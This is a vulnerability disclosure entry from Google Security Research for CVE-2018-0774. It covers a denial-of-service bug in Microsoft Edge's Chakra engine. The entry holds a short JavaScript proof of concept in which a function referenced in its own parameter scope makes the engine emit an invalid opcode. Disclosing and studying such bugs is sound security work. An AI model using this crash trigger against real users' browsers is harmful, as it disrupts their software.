Microsoft Edge Chakra - Incorrect Scope Handling
Author: Google Security Research
type: dos
platform: windows
port:
date_added: 2018-01-17
date_updated: 2018-01-17
verified: 1
codes: CVE-2018-0774
tags:
aliases:
screenshot_url:
application_url:
// PoC:
(function func(arg = function () {
print(func); // SetHasOwnLocalInClosure should be called for the param scope in the PostVisitFunction function.
}()) {
print(func);
function func() {
}
})();
// Chakra fails to distinguish whether the function is referenced in the param scope and ends up to emit an invalid opcode.